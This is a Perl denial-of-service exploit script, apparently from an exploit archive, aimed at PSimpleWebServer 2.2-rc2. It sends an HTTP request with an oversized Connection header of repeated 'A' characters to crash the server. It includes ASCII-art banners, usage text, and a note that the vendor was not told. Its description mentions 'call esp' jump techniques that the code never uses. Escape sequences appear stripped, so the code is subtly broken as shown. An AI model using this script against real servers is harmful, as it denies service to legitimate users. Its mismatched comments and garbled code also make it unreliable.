Authored by Fernando Mengali

SimpleWebServer version 2.2-rc2 remote denial of service exploit.

#!/usr/bin/perl

use IO::Socket::INET;

# Exploit Title: PSimpleWebServer 2.2-rc2 - Denial of Service (DoS)
# Discovery by: Fernando Mengali
# Discovery Date: 11 january 2024
# Vendor Homepage: http://www.pmx.it/
# Download to demo: https://drive.google.com/file/d/1tAK7dKl3yBPQSeo5Tid4p2FETyh8Zjvs/view?usp=sharing
# Notification vendor: No reported
# Tested Version: PSimpleWebServer 2.2-rc2
# Tested on: Window XP Professional - Service Pack 2 and 3 - English
# Vulnerability Type: Denial of Service (DoS)
# Vídeo: https://www.youtube.com/watch?v=YFfBuWnHeQY

#1. Description

#His technique works fine against Windows XP Professional Service Pack 2 and 3 (English).
#For this exploit I have tried several strategies to increase reliability and performance:
#Jump to a static 'call esp'
#Backwards jump to code a known distance from the stack pointer.
#The server did not properly handle request with large amounts of data to web server.
#The following request sends a large amount of data to the web server to process, the server will crash as soon as it is received and processed, causing denial of service conditions.
#Successful exploitation of these issues allows remote attackers to crash the affected server, denying service to legitimate users.

#2. Proof of Concept - PoC

$sis="$^O";

if ($sis eq "windows"){
$cmd="cls";
} else {
$cmd="clear";
}

system("$cmd");

intro();
main();

print "t ==> Connecting to webserver... nn";
sleep(1);

our $exploit = "x41"x2014;

$exploit = "x41"x2104;

if ($socket = IO::Socket::INET->new
(PeerAddr => $ip,
PeerPort => $port,
Proto => "TCP"))
{
$header =
"GET / HTTP/1.1rn".
"Host: ".$ip." rn".
"Connection:".$exploit."rn";
print $socket $header."rn";
sleep(1);
close($socket);
}

else
{
print "[-] Connection to $ip failed!n";
exit;
}


print "t ==> Done! Exploited!";
sub intro {
print q {


,,__
.. .. / o._)
/--'/-- -'||
/ _/ / |
.' __ __.'.'
) | ) |
// //
||_ |_ _
'--' '--'' '--'

[+] SimpleWebServer 2.2-rc2 - Denial of Service (DoS)

[*] Coded by Fernando Mengali

[@] e-mail: [email protected]

}
}

sub main {

our ($ip, $port) = @ARGV;

unless (defined($ip) && defined($port)) {

print "ntUsage: $0 <ip> <port> n";
exit(-1);

}
}

#3. Solution/ How to fix:

# This version product is deprecated